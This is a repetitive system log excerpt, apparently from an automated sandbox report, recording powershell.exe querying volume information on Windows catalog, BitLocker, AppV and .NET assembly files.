Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
